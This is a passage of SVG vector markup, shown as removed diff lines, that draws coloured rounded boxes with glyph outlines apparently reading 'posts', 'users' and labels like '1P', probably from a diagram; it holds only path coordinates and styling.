-                <path d="M342.2061,331.45334 L343.8936,331.656465 C343.622767,332.646048 343.127975,333.416882 342.409225,333.968965 C341.690475,334.510632 340.7686,334.781465 339.6436,334.781465 C338.226933,334.781465 337.101933,334.349173 336.2686,333.48459 C335.445683,332.60959 335.034225,331.385632 335.034225,329.812715 C335.034225,328.177298 335.450892,326.911673 336.284225,326.01584 C337.127975,325.120007 338.216517,324.67209 339.54985,324.67209 C340.841517,324.67209 341.8936,325.114798 342.7061,326.000215 C343.529017,326.875215 343.940475,328.10959 343.940475,329.70334 C343.940475,329.807507 343.940475,329.95334 343.940475,330.14084 L336.721725,330.14084 C336.784225,331.20334 337.086308,332.021048 337.627975,332.593965 C338.169642,333.156465 338.841517,333.437715 339.6436,333.437715 C340.247767,333.437715 340.763392,333.281465 341.190475,332.968965 C341.617558,332.646048 341.9561,332.14084 342.2061,331.45334 Z M336.815475,328.79709 L342.221725,328.79709 C342.148808,327.98459 341.940475,327.375215 341.596725,326.968965 C341.075892,326.333548 340.398808,326.01584 339.565475,326.01584 C338.815475,326.01584 338.180058,326.271048 337.659225,326.781465 C337.148808,327.281465 336.867558,327.95334 336.815475,328.79709 Z M352.284927,334.562715 L352.284927,333.14084 C351.534927,334.23459 350.514094,334.781465 349.222427,334.781465 C348.64951,334.781465 348.113052,334.67209 347.613052,334.45334 C347.123469,334.23459 346.758885,333.958548 346.519302,333.625215 C346.279719,333.291882 346.113052,332.885632 346.019302,332.406465 C345.946385,332.093965 345.909927,331.583548 345.909927,330.875215 L345.909927,324.89084 L347.550552,324.89084 L347.550552,330.250215 C347.550552,331.104382 347.58701,331.682507 347.659927,331.98459 C347.764094,332.411673 347.982844,332.750215 348.316177,333.000215 C348.64951,333.250215 349.060969,333.375215 349.550552,333.375215 C350.040135,333.375215 350.498469,333.250215 350.925552,333.000215 C351.363052,332.739798 351.670344,332.396048 351.847427,331.968965 C352.02451,331.531465 352.113052,330.901257 352.113052,330.07834 L352.113052,324.89084 L353.753677,324.89084 L353.753677,334.562715 L352.284927,334.562715 Z M362.051284,334.562715 L360.410659,334.562715 L360.410659,324.10959 C360.014826,324.48459 359.493992,324.864798 358.848159,325.250215 C358.212742,325.625215 357.639826,325.906465 357.129409,326.093965 L357.129409,324.500215 C358.046076,324.073132 358.848159,323.552298 359.535659,322.937715 C360.223159,322.323132 360.707534,321.729382 360.988784,321.156465 L362.051284,321.156465 L362.051284,334.562715 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M354.16272,353.5403 L354.16272,353.5403 C354.16272,349.733659 357.248627,346.647783 361.055268,346.647783 L410.766268,346.647783 C412.59427,346.647783 414.347414,347.373949 415.640017,348.666551 C416.932619,349.959154 417.658785,351.712297 417.658785,353.5403 L417.658785,381.109575 C417.658785,384.916216 414.572908,388.002123 410.766268,388.002123 L361.055268,388.002123 C357.248627,388.002123 354.16272,384.916216 354.16272,381.109575 L354.16272,353.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,366.87247 L367.85217,355.388095 L369.13342,355.388095 L369.13342,356.46622 C369.435503,356.039137 369.774045,355.721428 370.149045,355.513095 C370.534462,355.304762 370.998003,355.200595 371.53967,355.200595 C372.248003,355.200595 372.873003,355.382887 373.41467,355.74747 C373.956337,356.112053 374.362587,356.627678 374.63342,357.294345 C374.91467,357.950595 375.055295,358.674553 375.055295,359.46622 C375.055295,360.320387 374.899045,361.086012 374.586545,361.763095 C374.284462,362.440178 373.841753,362.961012 373.25842,363.325595 C372.685503,363.690178 372.076128,363.87247 371.430295,363.87247 C370.961545,363.87247 370.53967,363.773512 370.16467,363.575595 C369.800087,363.377678 369.498003,363.127678 369.25842,362.825595 L369.25842,366.87247 L367.85217,366.87247 Z M369.117795,359.575595 C369.117795,360.648512 369.331337,361.440178 369.75842,361.950595 C370.19592,362.461012 370.721962,362.71622 371.336545,362.71622 C371.961545,362.71622 372.498003,362.450595 372.94592,361.919345 C373.393837,361.388095 373.617795,360.570387 373.617795,359.46622 C373.617795,358.40372 373.399045,357.612053 372.961545,357.09122 C372.524045,356.55997 372.003212,356.294345 371.399045,356.294345 C370.805295,356.294345 370.274045,356.575595 369.805295,357.138095 C369.346962,357.700595 369.117795,358.513095 369.117795,359.575595 Z M376.219358,359.52872 C376.219358,357.99747 376.646441,356.862053 377.500608,356.12247 C378.219358,355.507887 379.089149,355.200595 380.109983,355.200595 C381.255816,355.200595 382.188108,355.575595 382.906858,356.325595 C383.636024,357.065178 384.000608,358.096428 384.000608,359.419345 C384.000608,360.481845 383.839149,361.320387 383.516233,361.93497 C383.193316,362.549553 382.724566,363.02872 382.109983,363.37247 C381.505816,363.705803 380.839149,363.87247 380.109983,363.87247 C378.953733,363.87247 378.016233,363.502678 377.297483,362.763095 C376.578733,362.013095 376.219358,360.93497 376.219358,359.52872 Z M377.672483,359.52872 C377.672483,360.59122 377.901649,361.388095 378.359983,361.919345 C378.828733,362.450595 379.412066,362.71622 380.109983,362.71622 C380.807899,362.71622 381.386024,362.450595 381.844358,361.919345 C382.313108,361.388095 382.547483,360.575595 382.547483,359.481845 C382.547483,358.461012 382.313108,357.68497 381.844358,357.15372 C381.386024,356.62247 380.807899,356.356845 380.109983,356.356845 C379.412066,356.356845 378.828733,356.62247 378.359983,357.15372 C377.901649,357.674553 377.672483,358.46622 377.672483,359.52872 Z M385.086545,361.200595 L386.47717,360.981845 C386.550087,361.544345 386.763628,361.976637 387.117795,362.27872 C387.482378,362.570387 387.982378,362.71622 388.617795,362.71622 C389.263628,362.71622 389.742795,362.586012 390.055295,362.325595 C390.367795,362.054762 390.524045,361.742262 390.524045,361.388095 C390.524045,361.075595 390.388628,360.825595 390.117795,360.638095 C389.919878,360.513095 389.440712,360.356845 388.680295,360.169345 C387.649045,359.908928 386.930295,359.68497 386.524045,359.49747 C386.128212,359.299553 385.826128,359.033928 385.617795,358.700595 C385.419878,358.367262 385.32092,357.99747 385.32092,357.59122 C385.32092,357.21622 385.404253,356.87247 385.57092,356.55997 C385.737587,356.24747 385.966753,355.987053 386.25842,355.77872 C386.47717,355.612053 386.774045,355.476637 387.149045,355.37247 C387.534462,355.257887 387.940712,355.200595 388.367795,355.200595 C389.024045,355.200595 389.596962,355.294345 390.086545,355.481845 C390.576128,355.669345 390.935503,355.924553 391.16467,356.24747 C391.404253,356.55997 391.57092,356.987053 391.66467,357.52872 L390.28967,357.71622 C390.22717,357.289137 390.044878,356.955803 389.742795,356.71622 C389.440712,356.476637 389.018837,356.356845 388.47717,356.356845 C387.831337,356.356845 387.367795,356.46622 387.086545,356.68497 C386.815712,356.893303 386.680295,357.138095 386.680295,357.419345 C386.680295,357.606845 386.737587,357.773512 386.85217,357.919345 C386.966753,358.065178 387.143837,358.190178 387.38342,358.294345 C387.529253,358.346428 387.94592,358.46622 388.63342,358.65372 C389.623003,358.914137 390.315712,359.132887 390.711545,359.30997 C391.107378,359.476637 391.41467,359.721428 391.63342,360.044345 C391.862587,360.367262 391.97717,360.768303 391.97717,361.24747 C391.97717,361.71622 391.836545,362.158928 391.555295,362.575595 C391.284462,362.981845 390.888628,363.299553 390.367795,363.52872 C389.857378,363.757887 389.279253,363.87247 388.63342,363.87247 C387.550087,363.87247 386.72717,363.648512 386.16467,363.200595 C385.60217,362.752678 385.242795,362.086012 385.086545,361.200595 Z M396.711545,362.419345 L396.91467,363.669345 C396.518837,363.752678 396.16467,363.794345 395.85217,363.794345 C395.341753,363.794345 394.94592,363.71622 394.66467,363.55997 C394.38342,363.393303 394.185503,363.179762 394.07092,362.919345 C393.956337,362.648512 393.899045,362.09122 393.899045,361.24747 L393.899045,356.481845 L392.867795,356.481845 L392.867795,355.388095 L393.899045,355.388095 L393.899045,353.325595 L395.305295,352.481845 L395.305295,355.388095 L396.711545,355.388095 L396.711545,356.481845 L395.305295,356.481845 L395.305295,361.325595 C395.305295,361.731845 395.326128,361.992262 395.367795,362.106845 C395.419878,362.221428 395.503212,362.315178 395.617795,362.388095 C395.732378,362.450595 395.893837,362.481845 396.10217,362.481845 C396.25842,362.481845 396.461545,362.461012 396.711545,362.419345 Z M397.531858,361.200595 L398.922483,360.981845 C398.995399,361.544345 399.208941,361.976637 399.563108,362.27872 C399.927691,362.570387 400.427691,362.71622 401.063108,362.71622 C401.708941,362.71622 402.188108,362.586012 402.500608,362.325595 C402.813108,362.054762 402.969358,361.742262 402.969358,361.388095 C402.969358,361.075595 402.833941,360.825595 402.563108,360.638095 C402.365191,360.513095 401.886024,360.356845 401.125608,360.169345 C400.094358,359.908928 399.375608,359.68497 398.969358,359.49747 C398.573524,359.299553 398.271441,359.033928 398.063108,358.700595 C397.865191,358.367262 397.766233,357.99747 397.766233,357.59122 C397.766233,357.21622 397.849566,356.87247 398.016233,356.55997 C398.182899,356.24747 398.412066,355.987053 398.703733,355.77872 C398.922483,355.612053 399.219358,355.476637 399.594358,355.37247 C399.979774,355.257887 400.386024,355.200595 400.813108,355.200595 C401.469358,355.200595 402.042274,355.294345 402.531858,355.481845 C403.021441,355.669345 403.380816,355.924553 403.609983,356.24747 C403.849566,356.55997 404.016233,356.987053 404.109983,357.52872 L402.734983,357.71622 C402.672483,357.289137 402.490191,356.955803 402.188108,356.71622 C401.886024,356.476637 401.464149,356.356845 400.922483,356.356845 C400.276649,356.356845 399.813108,356.46622 399.531858,356.68497 C399.261024,356.893303 399.125608,357.138095 399.125608,357.419345 C399.125608,357.606845 399.182899,357.773512 399.297483,357.919345 C399.412066,358.065178 399.589149,358.190178 399.828733,358.294345 C399.974566,358.346428 400.391233,358.46622 401.078733,358.65372 C402.068316,358.914137 402.761024,359.132887 403.156858,359.30997 C403.552691,359.476637 403.859983,359.721428 404.078733,360.044345 C404.307899,360.367262 404.422483,360.768303 404.422483,361.24747 C404.422483,361.71622 404.281858,362.158928 404.000608,362.575595 C403.729774,362.981845 403.333941,363.299553 402.813108,363.52872 C402.302691,363.757887 401.724566,363.87247 401.078733,363.87247 C399.995399,363.87247 399.172483,363.648512 398.609983,363.200595 C398.047483,362.752678 397.688108,362.086012 397.531858,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M382.09436,382.68497 L380.68811,382.68497 L380.68811,373.71622 C380.34436,374.039137 379.896443,374.362053 379.34436,374.68497 C378.802693,375.007887 378.31311,375.252678 377.87561,375.419345 L377.87561,374.05997 C378.65686,373.68497 379.339152,373.237053 379.922485,372.71622 C380.516235,372.18497 380.93811,371.674553 381.18811,371.18497 L382.09436,371.18497 L382.09436,382.68497 Z M386.258422,382.68497 L386.258422,371.231845 L390.586547,371.231845 C391.346964,371.231845 391.925089,371.268303 392.320922,371.34122 C392.883422,371.43497 393.352172,371.612053 393.727172,371.87247 C394.112589,372.132887 394.419881,372.502678 394.649047,372.981845 C394.888631,373.450595 395.008422,373.971428 395.008422,374.544345 C395.008422,375.513095 394.695922,376.336012 394.070922,377.013095 C393.456339,377.690178 392.336547,378.02872 390.711547,378.02872 L387.774047,378.02872 L387.774047,382.68497 L386.258422,382.68497 Z M387.774047,376.669345 L390.742797,376.669345 C391.721964,376.669345 392.414672,376.487053 392.820922,376.12247 C393.237589,375.757887 393.445922,375.24747 393.445922,374.59122 C393.445922,374.112053 393.320922,373.700595 393.070922,373.356845 C392.831339,373.013095 392.513631,372.789137 392.117797,372.68497 C391.867797,372.612053 391.399047,372.575595 390.711547,372.575595 L387.774047,372.575595 L387.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,353.5403 L282.16272,353.5403 C282.16272,349.733659 285.248627,346.647783 289.055268,346.647783 L338.766268,346.647783 C340.59427,346.647783 342.347414,347.373949 343.640017,348.666551 C344.932619,349.959154 345.658785,351.712297 345.658785,353.5403 L345.658785,381.109575 C345.658785,384.916216 342.572908,388.002123 338.766268,388.002123 L289.055268,388.002123 C285.248627,388.002123 282.16272,384.916216 282.16272,381.109575 L282.16272,353.5403 Z" id="Path" fill="#F04E98"></path>
-                <path d="M300.84827,363.68497 L300.84827,362.46622 C300.202437,363.40372 299.322228,363.87247 298.207645,363.87247 C297.718062,363.87247 297.259728,363.77872 296.832645,363.59122 C296.415978,363.40372 296.103478,363.169345 295.895145,362.888095 C295.686812,362.596428 295.540978,362.24747 295.457645,361.84122 C295.405562,361.55997 295.37952,361.12247 295.37952,360.52872 L295.37952,355.388095 L296.78577,355.388095 L296.78577,359.981845 C296.78577,360.721428 296.811812,361.21622 296.863895,361.46622 C296.957645,361.84122 297.145145,362.132887 297.426395,362.34122 C297.718062,362.549553 298.072228,362.65372 298.488895,362.65372 C298.915978,362.65372 299.311812,362.549553 299.676395,362.34122 C300.051395,362.12247 300.311812,361.825595 300.457645,361.450595 C300.613895,361.075595 300.69202,360.533928 300.69202,359.825595 L300.69202,355.388095 L302.09827,355.388095 L302.09827,363.68497 L300.84827,363.68497 Z M303.746708,361.200595 L305.137333,360.981845 C305.210249,361.544345 305.423791,361.976637 305.777958,362.27872 C306.142541,362.570387 306.642541,362.71622 307.277958,362.71622 C307.923791,362.71622 308.402958,362.586012 308.715458,362.325595 C309.027958,362.054762 309.184208,361.742262 309.184208,361.388095 C309.184208,361.075595 309.048791,360.825595 308.777958,360.638095 C308.580041,360.513095 308.100874,360.356845 307.340458,360.169345 C306.309208,359.908928 305.590458,359.68497 305.184208,359.49747 C304.788374,359.299553 304.486291,359.033928 304.277958,358.700595 C304.080041,358.367262 303.981083,357.99747 303.981083,357.59122 C303.981083,357.21622 304.064416,356.87247 304.231083,356.55997 C304.397749,356.24747 304.626916,355.987053 304.918583,355.77872 C305.137333,355.612053 305.434208,355.476637 305.809208,355.37247 C306.194624,355.257887 306.600874,355.200595 307.027958,355.200595 C307.684208,355.200595 308.257124,355.294345 308.746708,355.481845 C309.236291,355.669345 309.595666,355.924553 309.824833,356.24747 C310.064416,356.55997 310.231083,356.987053 310.324833,357.52872 L308.949833,357.71622 C308.887333,357.289137 308.705041,356.955803 308.402958,356.71622 C308.100874,356.476637 307.678999,356.356845 307.137333,356.356845 C306.491499,356.356845 306.027958,356.46622 305.746708,356.68497 C305.475874,356.893303 305.340458,357.138095 305.340458,357.419345 C305.340458,357.606845 305.397749,357.773512 305.512333,357.919345 C305.626916,358.065178 305.803999,358.190178 306.043583,358.294345 C306.189416,358.346428 306.606083,358.46622 307.293583,358.65372 C308.283166,358.914137 308.975874,359.132887 309.371708,359.30997 C309.767541,359.476637 310.074833,359.721428 310.293583,360.044345 C310.522749,360.367262 310.637333,360.768303 310.637333,361.24747 C310.637333,361.71622 310.496708,362.158928 310.215458,362.575595 C309.944624,362.981845 309.548791,363.299553 309.027958,363.52872 C308.517541,363.757887 307.939416,363.87247 307.293583,363.87247 C306.210249,363.87247 305.387333,363.648512 304.824833,363.200595 C304.262333,362.752678 303.902958,362.086012 303.746708,361.200595 Z M317.981083,361.013095 L319.434208,361.18497 C319.205041,362.039137 318.777958,362.700595 318.152958,363.169345 C317.538374,363.638095 316.751916,363.87247 315.793583,363.87247 C314.574833,363.87247 313.611291,363.49747 312.902958,362.74747 C312.194624,361.99747 311.840458,360.950595 311.840458,359.606845 C311.840458,358.211012 312.199833,357.127678 312.918583,356.356845 C313.637333,355.586012 314.569624,355.200595 315.715458,355.200595 C316.819624,355.200595 317.720666,355.580803 318.418583,356.34122 C319.126916,357.09122 319.481083,358.148512 319.481083,359.513095 C319.481083,359.596428 319.481083,359.721428 319.481083,359.888095 L313.293583,359.888095 C313.345666,360.804762 313.600874,361.507887 314.059208,361.99747 C314.527958,362.476637 315.106083,362.71622 315.793583,362.71622 C316.314416,362.71622 316.757124,362.580803 317.121708,362.30997 C317.486291,362.039137 317.772749,361.606845 317.981083,361.013095 Z M313.371708,358.731845 L317.996708,358.731845 C317.934208,358.033928 317.757124,357.513095 317.465458,357.169345 C317.017541,356.627678 316.439416,356.356845 315.731083,356.356845 C315.085249,356.356845 314.538374,356.575595 314.090458,357.013095 C313.652958,357.440178 313.413374,358.013095 313.371708,358.731845 Z M321.19202,363.68497 L321.19202,355.388095 L322.457645,355.388095 L322.457645,356.638095 C322.780562,356.054762 323.077437,355.669345 323.34827,355.481845 C323.619103,355.294345 323.921187,355.200595 324.25452,355.200595 C324.72327,355.200595 325.202437,355.351637 325.69202,355.65372 L325.207645,356.950595 C324.863895,356.752678 324.520145,356.65372 324.176395,356.65372 C323.874312,356.65372 323.59827,356.74747 323.34827,356.93497 C323.108687,357.112053 322.936812,357.367262 322.832645,357.700595 C322.676395,358.200595 322.59827,358.74747 322.59827,359.34122 L322.59827,363.68497 L321.19202,363.68497 Z M325.97327,361.200595 L327.363895,360.981845 C327.436812,361.544345 327.650353,361.976637 328.00452,362.27872 C328.369103,362.570387 328.869103,362.71622 329.50452,362.71622 C330.150353,362.71622 330.62952,362.586012 330.94202,362.325595 C331.25452,362.054762 331.41077,361.742262 331.41077,361.388095 C331.41077,361.075595 331.275353,360.825595 331.00452,360.638095 C330.806603,360.513095 330.327437,360.356845 329.56702,360.169345 C328.53577,359.908928 327.81702,359.68497 327.41077,359.49747 C327.014937,359.299553 326.712853,359.033928 326.50452,358.700595 C326.306603,358.367262 326.207645,357.99747 326.207645,357.59122 C326.207645,357.21622 326.290978,356.87247 326.457645,356.55997 C326.624312,356.24747 326.853478,355.987053 327.145145,355.77872 C327.363895,355.612053 327.66077,355.476637 328.03577,355.37247 C328.421187,355.257887 328.827437,355.200595 329.25452,355.200595 C329.91077,355.200595 330.483687,355.294345 330.97327,355.481845 C331.462853,355.669345 331.822228,355.924553 332.051395,356.24747 C332.290978,356.55997 332.457645,356.987053 332.551395,357.52872 L331.176395,357.71622 C331.113895,357.289137 330.931603,356.955803 330.62952,356.71622 C330.327437,356.476637 329.905562,356.356845 329.363895,356.356845 C328.718062,356.356845 328.25452,356.46622 327.97327,356.68497 C327.702437,356.893303 327.56702,357.138095 327.56702,357.419345 C327.56702,357.606845 327.624312,357.773512 327.738895,357.919345 C327.853478,358.065178 328.030562,358.190178 328.270145,358.294345 C328.415978,358.346428 328.832645,358.46622 329.520145,358.65372 C330.509728,358.914137 331.202437,359.132887 331.59827,359.30997 C331.994103,359.476637 332.301395,359.721428 332.520145,360.044345 C332.749312,360.367262 332.863895,360.768303 332.863895,361.24747 C332.863895,361.71622 332.72327,362.158928 332.44202,362.575595 C332.171187,362.981845 331.775353,363.299553 331.25452,363.52872 C330.744103,363.757887 330.165978,363.87247 329.520145,363.87247 C328.436812,363.87247 327.613895,363.648512 327.051395,363.200595 C326.488895,362.752678 326.12952,362.086012 325.97327,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M310.09436,382.68497 L308.68811,382.68497 L308.68811,373.71622 C308.34436,374.039137 307.896443,374.362053 307.34436,374.68497 C306.802693,375.007887 306.31311,375.252678 305.87561,375.419345 L305.87561,374.05997 C306.65686,373.68497 307.339152,373.237053 307.922485,372.71622 C308.516235,372.18497 308.93811,371.674553 309.18811,371.18497 L310.09436,371.18497 L310.09436,382.68497 Z M314.258422,382.68497 L314.258422,371.231845 L318.586547,371.231845 C319.346964,371.231845 319.925089,371.268303 320.320922,371.34122 C320.883422,371.43497 321.352172,371.612053 321.727172,371.87247 C322.112589,372.132887 322.419881,372.502678 322.649047,372.981845 C322.888631,373.450595 323.008422,373.971428 323.008422,374.544345 C323.008422,375.513095 322.695922,376.336012 322.070922,377.013095 C321.456339,377.690178 320.336547,378.02872 318.711547,378.02872 L315.774047,378.02872 L315.774047,382.68497 L314.258422,382.68497 Z M315.774047,376.669345 L318.742797,376.669345 C319.721964,376.669345 320.414672,376.487053 320.820922,376.12247 C321.237589,375.757887 321.445922,375.24747 321.445922,374.59122 C321.445922,374.112053 321.320922,373.700595 321.070922,373.356845 C320.831339,373.013095 320.513631,372.789137 320.117797,372.68497 C319.867797,372.612053 319.399047,372.575595 318.711547,372.575595 L315.774047,372.575595 L315.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M354.16272,457.5403 L354.16272,457.5403 C354.16272,453.733659 357.248627,450.647783 361.055268,450.647783 L410.766268,450.647783 C412.59427,450.647783 414.347414,451.373949 415.640017,452.666551 C416.932619,453.959154 417.658785,455.712297 417.658785,457.5403 L417.658785,485.109575 C417.658785,488.916216 414.572908,492.002123 410.766268,492.002123 L361.055268,492.002123 C357.248627,492.002123 354.16272,488.916216 354.16272,485.109575 L354.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,470.87247 L367.85217,459.388095 L369.13342,459.388095 L369.13342,460.46622 C369.435503,460.039137 369.774045,459.721428 370.149045,459.513095 C370.534462,459.304762 370.998003,459.200595 371.53967,459.200595 C372.248003,459.200595 372.873003,459.382887 373.41467,459.74747 C373.956337,460.112053 374.362587,460.627678 374.63342,461.294345 C374.91467,461.950595 375.055295,462.674553 375.055295,463.46622 C375.055295,464.320387 374.899045,465.086012 374.586545,465.763095 C374.284462,466.440178 373.841753,466.961012 373.25842,467.325595 C372.685503,467.690178 372.076128,467.87247 371.430295,467.87247 C370.961545,467.87247 370.53967,467.773512 370.16467,467.575595 C369.800087,467.377678 369.498003,467.127678 369.25842,466.825595 L369.25842,470.87247 L367.85217,470.87247 Z M369.117795,463.575595 C369.117795,464.648512 369.331337,465.440178 369.75842,465.950595 C370.19592,466.461012 370.721962,466.71622 371.336545,466.71622 C371.961545,466.71622 372.498003,466.450595 372.94592,465.919345 C373.393837,465.388095 373.617795,464.570387 373.617795,463.46622 C373.617795,462.40372 373.399045,461.612053 372.961545,461.09122 C372.524045,460.55997 372.003212,460.294345 371.399045,460.294345 C370.805295,460.294345 370.274045,460.575595 369.805295,461.138095 C369.346962,461.700595 369.117795,462.513095 369.117795,463.575595 Z M376.219358,463.52872 C376.219358,461.99747 376.646441,460.862053 377.500608,460.12247 C378.219358,459.507887 379.089149,459.200595 380.109983,459.200595 C381.255816,459.200595 382.188108,459.575595 382.906858,460.325595 C383.636024,461.065178 384.000608,462.096428 384.000608,463.419345 C384.000608,464.481845 383.839149,465.320387 383.516233,465.93497 C383.193316,466.549553 382.724566,467.02872 382.109983,467.37247 C381.505816,467.705803 380.839149,467.87247 380.109983,467.87247 C378.953733,467.87247 378.016233,467.502678 377.297483,466.763095 C376.578733,466.013095 376.219358,464.93497 376.219358,463.52872 Z M377.672483,463.52872 C377.672483,464.59122 377.901649,465.388095 378.359983,465.919345 C378.828733,466.450595 379.412066,466.71622 380.109983,466.71622 C380.807899,466.71622 381.386024,466.450595 381.844358,465.919345 C382.313108,465.388095 382.547483,464.575595 382.547483,463.481845 C382.547483,462.461012 382.313108,461.68497 381.844358,461.15372 C381.386024,460.62247 380.807899,460.356845 380.109983,460.356845 C379.412066,460.356845 378.828733,460.62247 378.359983,461.15372 C377.901649,461.674553 377.672483,462.46622 377.672483,463.52872 Z M385.086545,465.200595 L386.47717,464.981845 C386.550087,465.544345 386.763628,465.976637 387.117795,466.27872 C387.482378,466.570387 387.982378,466.71622 388.617795,466.71622 C389.263628,466.71622 389.742795,466.586012 390.055295,466.325595 C390.367795,466.054762 390.524045,465.742262 390.524045,465.388095 C390.524045,465.075595 390.388628,464.825595 390.117795,464.638095 C389.919878,464.513095 389.440712,464.356845 388.680295,464.169345 C387.649045,463.908928 386.930295,463.68497 386.524045,463.49747 C386.128212,463.299553 385.826128,463.033928 385.617795,462.700595 C385.419878,462.367262 385.32092,461.99747 385.32092,461.59122 C385.32092,461.21622 385.404253,460.87247 385.57092,460.55997 C385.737587,460.24747 385.966753,459.987053 386.25842,459.77872 C386.47717,459.612053 386.774045,459.476637 387.149045,459.37247 C387.534462,459.257887 387.940712,459.200595 388.367795,459.200595 C389.024045,459.200595 389.596962,459.294345 390.086545,459.481845 C390.576128,459.669345 390.935503,459.924553 391.16467,460.24747 C391.404253,460.55997 391.57092,460.987053 391.66467,461.52872 L390.28967,461.71622 C390.22717,461.289137 390.044878,460.955803 389.742795,460.71622 C389.440712,460.476637 389.018837,460.356845 388.47717,460.356845 C387.831337,460.356845 387.367795,460.46622 387.086545,460.68497 C386.815712,460.893303 386.680295,461.138095 386.680295,461.419345 C386.680295,461.606845 386.737587,461.773512 386.85217,461.919345 C386.966753,462.065178 387.143837,462.190178 387.38342,462.294345 C387.529253,462.346428 387.94592,462.46622 388.63342,462.65372 C389.623003,462.914137 390.315712,463.132887 390.711545,463.30997 C391.107378,463.476637 391.41467,463.721428 391.63342,464.044345 C391.862587,464.367262 391.97717,464.768303 391.97717,465.24747 C391.97717,465.71622 391.836545,466.158928 391.555295,466.575595 C391.284462,466.981845 390.888628,467.299553 390.367795,467.52872 C389.857378,467.757887 389.279253,467.87247 388.63342,467.87247 C387.550087,467.87247 386.72717,467.648512 386.16467,467.200595 C385.60217,466.752678 385.242795,466.086012 385.086545,465.200595 Z M396.711545,466.419345 L396.91467,467.669345 C396.518837,467.752678 396.16467,467.794345 395.85217,467.794345 C395.341753,467.794345 394.94592,467.71622 394.66467,467.55997 C394.38342,467.393303 394.185503,467.179762 394.07092,466.919345 C393.956337,466.648512 393.899045,466.09122 393.899045,465.24747 L393.899045,460.481845 L392.867795,460.481845 L392.867795,459.388095 L393.899045,459.388095 L393.899045,457.325595 L395.305295,456.481845 L395.305295,459.388095 L396.711545,459.388095 L396.711545,460.481845 L395.305295,460.481845 L395.305295,465.325595 C395.305295,465.731845 395.326128,465.992262 395.367795,466.106845 C395.419878,466.221428 395.503212,466.315178 395.617795,466.388095 C395.732378,466.450595 395.893837,466.481845 396.10217,466.481845 C396.25842,466.481845 396.461545,466.461012 396.711545,466.419345 Z M397.531858,465.200595 L398.922483,464.981845 C398.995399,465.544345 399.208941,465.976637 399.563108,466.27872 C399.927691,466.570387 400.427691,466.71622 401.063108,466.71622 C401.708941,466.71622 402.188108,466.586012 402.500608,466.325595 C402.813108,466.054762 402.969358,465.742262 402.969358,465.388095 C402.969358,465.075595 402.833941,464.825595 402.563108,464.638095 C402.365191,464.513095 401.886024,464.356845 401.125608,464.169345 C400.094358,463.908928 399.375608,463.68497 398.969358,463.49747 C398.573524,463.299553 398.271441,463.033928 398.063108,462.700595 C397.865191,462.367262 397.766233,461.99747 397.766233,461.59122 C397.766233,461.21622 397.849566,460.87247 398.016233,460.55997 C398.182899,460.24747 398.412066,459.987053 398.703733,459.77872 C398.922483,459.612053 399.219358,459.476637 399.594358,459.37247 C399.979774,459.257887 400.386024,459.200595 400.813108,459.200595 C401.469358,459.200595 402.042274,459.294345 402.531858,459.481845 C403.021441,459.669345 403.380816,459.924553 403.609983,460.24747 C403.849566,460.55997 404.016233,460.987053 404.109983,461.52872 L402.734983,461.71622 C402.672483,461.289137 402.490191,460.955803 402.188108,460.71622 C401.886024,460.476637 401.464149,460.356845 400.922483,460.356845 C400.276649,460.356845 399.813108,460.46622 399.531858,460.68497 C399.261024,460.893303 399.125608,461.138095 399.125608,461.419345 C399.125608,461.606845 399.182899,461.773512 399.297483,461.919345 C399.412066,462.065178 399.589149,462.190178 399.828733,462.294345 C399.974566,462.346428 400.391233,462.46622 401.078733,462.65372 C402.068316,462.914137 402.761024,463.132887 403.156858,463.30997 C403.552691,463.476637 403.859983,463.721428 404.078733,464.044345 C404.307899,464.367262 404.422483,464.768303 404.422483,465.24747 C404.422483,465.71622 404.281858,466.158928 404.000608,466.575595 C403.729774,466.981845 403.333941,467.299553 402.813108,467.52872 C402.302691,467.757887 401.724566,467.87247 401.078733,467.87247 C399.995399,467.87247 399.172483,467.648512 398.609983,467.200595 C398.047483,466.752678 397.688108,466.086012 397.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M376.7975,483.65372 L378.20375,483.46622 C378.370417,484.268303 378.646458,484.846428 379.031875,485.200595 C379.417292,485.544345 379.89125,485.71622 380.45375,485.71622 C381.11,485.71622 381.667292,485.487053 382.125625,485.02872 C382.583958,484.570387 382.813125,484.002678 382.813125,483.325595 C382.813125,482.679762 382.599583,482.148512 382.1725,481.731845 C381.755833,481.315178 381.219375,481.106845 380.563125,481.106845 C380.302708,481.106845 379.974583,481.158928 379.57875,481.263095 L379.735,480.02872 C379.82875,480.039137 379.901667,480.044345 379.95375,480.044345 C380.557917,480.044345 381.099583,479.888095 381.57875,479.575595 C382.057917,479.263095 382.2975,478.77872 382.2975,478.12247 C382.2975,477.612053 382.120417,477.190178 381.76625,476.856845 C381.4225,476.513095 380.974583,476.34122 380.4225,476.34122 C379.870417,476.34122 379.412083,476.513095 379.0475,476.856845 C378.682917,477.200595 378.448542,477.71622 378.344375,478.40372 L376.938125,478.15372 C377.115208,477.205803 377.505833,476.476637 378.11,475.96622 C378.724583,475.445387 379.485,475.18497 380.39125,475.18497 C381.01625,475.18497 381.589167,475.320387 382.11,475.59122 C382.64125,475.851637 383.042292,476.21622 383.313125,476.68497 C383.594375,477.143303 383.735,477.632887 383.735,478.15372 C383.735,478.65372 383.599583,479.106845 383.32875,479.513095 C383.068333,479.919345 382.677708,480.242262 382.156875,480.481845 C382.833958,480.638095 383.36,480.961012 383.735,481.450595 C384.11,481.940178 384.2975,482.554762 384.2975,483.294345 C384.2975,484.294345 383.932917,485.143303 383.20375,485.84122 C382.474583,486.539137 381.552708,486.888095 380.438125,486.888095 C379.438125,486.888095 378.604792,486.59122 377.938125,485.99747 C377.271458,485.393303 376.89125,484.612053 376.7975,483.65372 Z M386.258438,486.68497 L386.258438,475.231845 L390.586563,475.231845 C391.346979,475.231845 391.925104,475.268303 392.320938,475.34122 C392.883438,475.43497 393.352188,475.612053 393.727188,475.87247 C394.112604,476.132887 394.419896,476.502678 394.649063,476.981845 C394.888646,477.450595 395.008438,477.971428 395.008438,478.544345 